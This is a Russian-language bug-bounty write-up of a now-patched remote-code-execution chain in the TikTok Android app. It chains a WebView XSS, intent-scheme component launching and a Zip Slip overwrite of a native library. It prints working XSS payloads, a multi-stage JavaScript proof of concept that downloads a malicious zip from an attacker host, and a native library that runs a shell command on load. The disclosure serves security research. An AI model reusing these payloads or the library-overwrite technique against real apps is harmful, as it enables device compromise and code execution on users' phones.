TL;DR
Во время тестирования приложения TikTok для Android я обнаружил несколько ошибок, которые можно связать, чтобы добиться удаленного выполнения кода. В этой статье мы обсудим все ошибки и цепочки в целом. Я работал над поиском багов и методикой эксплуатации 21 день. Последний эксплойт был прост. TikTok реализовал исправление для устранения выявленных ошибок, и оно было повторно протестировано, чтобы подтвердить решение.Ошибки
- Universal XSS в TikTok WebView
- Другая XSS на AddWikiActivity
- Arbitrary Components
- Уязвимость Zip Slip в TmaTestActivity
- Наконец - сам RCE!
Универсальный XSS на TikTok WebView
TikTok использует определенный WebView, который можно вызвать с помощью ссылки, в входящих сообщениях. WebView обрабатывает то, что называется falcon-ссылками, захватывая их из внутренних файлов вместо того, чтобы получать их со своего сервера каждый раз, когда пользователь использует его для повышения производительности.В целях измерения производительности после завершения загрузки страницы. Будет выполнена следующая функция:
Код:
this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);
Я попробовал следующую ссылку
https://m.tiktok.com/falcon/?'),alert(1));//К сожалению, это не сработало. Я начал писать сценарий Frida, чтобы перехватить метод
android.webkit.WebView.evaluateJavascript, хотел посмотреть, что произойдет?Я обнаружил, что методу передается следующая строка:
Код:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))
Код:
https://m.tiktok.com/falcon/#'),alert(1));//
Код:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
Примечание: Это Universal XSS , потому что Javascript код вызывается , если ссылка содержит что-то вроде:
m.tiktok.com/falcon/Например,
https://www.google.com/m.tiktok.com/falcon/ также запустит этот XSS.Начат копать глубже
Найдя этот XSS, я начал копаться в этом WebView, чтобы увидеть, насколько он может быть разрушительным и опасным.Во-первых, я настроил свою лабораторию, чтобы упростить тестирование. Я включил модуль WebViewDebug для отладки WebView из моих инструментов разработчика в Google Chrome. Вы найдете модуль здесь: https://github.com/feix760/WebViewDebugHook
Я обнаружил, что WebView поддерживает
intent схему. Она может дать вам возможность создать собственный скрипт и запустить его как действие. Полезно избегать настройки экспорта неэкспортируемых действий и максимизировать объем тестирования. На эту тему было интересное исследование, прочтите для получения дополнительной информации: https://www.mbsd.jp/Whitepaper/IntentScheme.pdfЯ попытался выполнить следующий javascript код, чтобы открыть
com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity Activity:
Код:
location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"
Код:
boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();
if((v8.i) && !v0_7) {
v8.i = false;
v4 = true;
}
else {
v4 = v0_7;
}
intent схемы до тех пор, пока пользователь не щелкнет где-нибудь. Плохо! Я не люблю эксплойты в два клика. Я сохранил это в своей заметке и продолжил копать и разбираться.ToutiaoJSBridge, он реализован в WebView. У него много "вкусных" функций, одна из них
openSchema, которая использовалась для открытия внутренних диплинков (deep-ссылок). Там оказалась deeplink-ссылка, aweme://wiki, которая используется для открытия URL-адресов в AddWikiActivity WebView.Другая XSS-уязвимость в AddWikiActivity
AddWikiActivity имплементирует проверку URL, чтобы убедиться, что в нем не будет открываться черный URL. Но проверка работала только наhttp или https. По задумке кодеров, любая другая схема недействительна и не требует проверки:
Код:
if(!e.b(arg8)) {
com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
return false;
}
public static boolean b(String arg1) {
return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}
Код:
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));
<h1>PoC</h1>Arbitrary Components
Хорошая новость заключается в том, чтоAddWikiActivity WebView поддерживает эту intent схему без каких-либо ограничений, но если для disable_app_link параметра установлено значение false. Круто!Если следующий код будет выполнен в
AddWikiActivity, то будет вызван UserFavoritesActivity:
Код:
location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")
Уязвимость Zip Slip в TmaTestActivity
Теперь мы можем открыть любое действие и передать ему любые дополнения. Я нашел действие, называемоеTmaTestActivity в split_df_miniapp.apk.Примечание : пакеты split не добавляются в APK. Они загружаются после первого запуска приложения ядром Google Play Core. Вы можете найти этот пакет вот так:
adb shell pm path {package_name}Вкратце,
TmaTestActivity использовался для обновления SDK путем загрузки zip-архива из интернета и его извлечения.
Код:
Uri v5 = Uri.parse(Uri.decode(arg5.toString()));
String v0 = v5.getQueryParameter("action");
if(m.a(v0, "sdkUpdate")) {
m.a(v5, "testUri");
this.updateJssdk(arg4, v5, arg6);
return;
}
action значение sdkUpdate.
Код:
private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
String v0 = arg6.getQueryParameter("sdkUpdateVersion");
String v1 = arg6.getQueryParameter("sdkVersion");
String v6 = arg6.getQueryParameter("latestSDKUrl");
SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
v2.putString("sdk_update_version", v0).apply();
v2.putString("sdk_version", v1).apply();
v2.putString("latest_sdk_url", v6).apply();
DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
BundleHandlerParam v0_1 = new BundleHandlerParam();
v6_1.setInitialParam(arg5, v0_1);
ResolveDownloadHandler v5 = new ResolveDownloadHandler();
v6_1.setNextHandler(((BaseBundleHandler)v5));
SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();
v5.setNextHandler(((BaseBundleHandler)v6_2));
}
DownloadBaseBundleHandler, затем устанавливает следующий обработчик ResolveDownloadHandler, а потом уже SetCurrentProcessBundleVersionHandler.Начнем с
DownloadBaseBundleHandler. Он проверяет sdkUpdateVersion параметр, чтобы узнать, был он новее текущего или нет. Мы можем установить значение 99,99,99, чтобы избежать этой проверки, а затем начать загрузку:
Код:
public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
.....
String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
.....
if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
v10.appendLog("no need update remote basebundle version");
arg15.isIgnoreTask = true;
return arg15;
}
.....
this.startDownload(v9, v10, arg15, v0, v8);
.....
startDownload методе я обнаружил, что:
Код:
v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();
v2.b = this.getMd5FromUrl(arg16);
v2.a - это путь загрузки. Он получает контекст приложения AppbrandContext и должен иметь образец. К сожалению, приложение не всегда запускало этот образец. Но я же сказал вам, что я потратил на этот эксплойт 21 день, ага !? Мне было достаточно получить обширные знания о рабочем процессе приложения. И да! Я где-то видел, как запускается этот экземпляр.Вызов функции
preloadMiniApp через ToutiaoJSBridge смог запустить код для меня! Мне было легко! Копаюсь во всех функциях, даже в первый раз мне это не кажется полезным, но в данной ситуации пригодилосьv2.b - это md5-сумма загружаемого файла. Он получается из самого имени файла:
Код:
private String getMd5FromUrl(String arg3) {
return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));
}
anything_{md5sum_of_file}.zip, потому что md5sum будет сравниваться с файлом md5sum после загрузки:
Код:
public void onDownloadSuccess(ad arg11) {
super.onDownloadSuccess(arg11);
File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b);
long v6 = this.val$beginDownloadTime.getMillisAfterStart();
if(!v11.exists()) {
this.val$baseBundleEvent.appendLog("remote basebundle download fail");
this.val$param.isLastTaskSuccess = false;
this.val$baseBundleEvent.appendLog("remote basebundle not exist");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
}
else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) {
this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success");
this.val$param.isLastTaskSuccess = true;
this.val$param.targetZipFile = v11;
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6);
}
else {
this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals");
InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
this.val$param.isLastTaskSuccess = false;
}
ResolveDownloadHandler, чтобы распаковать его:
Код:
public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) {
BaseBundleEvent v0 = arg14.baseBundleEvent;
if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) {
arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);
public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) {
long v10;
boolean v4;
Class v0 = BaseBundleFileManager.class;
synchronized(v0) {
boolean v1 = arg9.exists();
}
if(!v1) {
return 0L;
}
try {
File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10);
arg12.appendLog("start unzip" + arg10);
BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);
private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) {
try {
arg2.appendLog("unzip" + arg3);
IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4);
}
......
}
public static void unZipFolder(String arg1, String arg2) throws Exception {
IOUtils.a(new FileInputStream(arg1), arg2, false);
}
private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception {
ZipInputStream v0 = new ZipInputStream(arg5);
while(true) {
label_2:
ZipEntry v5 = v0.getNextEntry();
if(v5 == null) {
break;
}
String v1 = v5.getName();
if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?
goto label_2;
}
if(v5.isDirectory()) {
new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs();
goto label_2;
}
File v5_1 = new File(arg6 + File.separator + v1);
if(!v5_1.getParentFile().exists()) {
v5_1.getParentFile().mkdirs();
}
v5_1.createNewFile();
FileOutputStream v1_1 = new FileOutputStream(v5_1);
byte[] v5_2 = new byte[0x400];
while(true) {
int v3 = v0.read(v5_2);
if(v3 == -1) {
break;
}
v1_1.write(v5_2, 0, v3);
v1_1.flush();
}
v1_1.close();
}
v0.close();
}
arg7 равно false, проверка не произойдет! Идеально!!Это позволяет нам использовать уязвимость ZIP Slip и перезаписывать некоторые вкусные файлы.
А теперь время для RCE!
Я создал zip-файл, и обход пути имени файла для перезаписи файла/data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so:
Код:
dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
Scanning the drive for archives:
1 file, 1930 bytes (2 KiB)
Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
--
Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
Type = zip
Physical Size = 1930
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 5896 1496 1 files
Теперь мы можем перезаписать исходные библиотеки нашей вредоносной библиотекой для выполнения нашего кода. Он не будет выполнен, если пользователь не перезапустит приложение. Я нашел способ загружать эту библиотеку без перезапуска, запустив
com.tt.miniapphost.placeholder.MiniappTabActivity0.Окончательный PoC:
Код:
document.title = "Loading..";
document.write("<h1>Loading..</h1>");
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
window.name = "finished";
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "preloadMiniApp",
"__msg_type": "callback",
"params": {
"mini_app_url": "https://microapp/"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://d.c/"
})); // initialize Mini App
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
setTimeout(function() {
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
})); // load the malicious library after overwrtting it.
}, 5000);
}
Код:
#include <jni.h>
#include <string>
#include <stdlib.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
system("id > /data/data/com.zhiliaoapp.musically/PoC");
return JNI_VERSION_1_6;
}
Финал. TikTok все исправил!
TikTok Security внедрил исправление для устранения этих уязвимостей. Были предприняты следующие действия:- Уязвимый код XSS удален.
- TmaTestActivity был удален.
- Внедрены запреты, которые не позволяют использовать AddWikiActivity и WebViewActivity.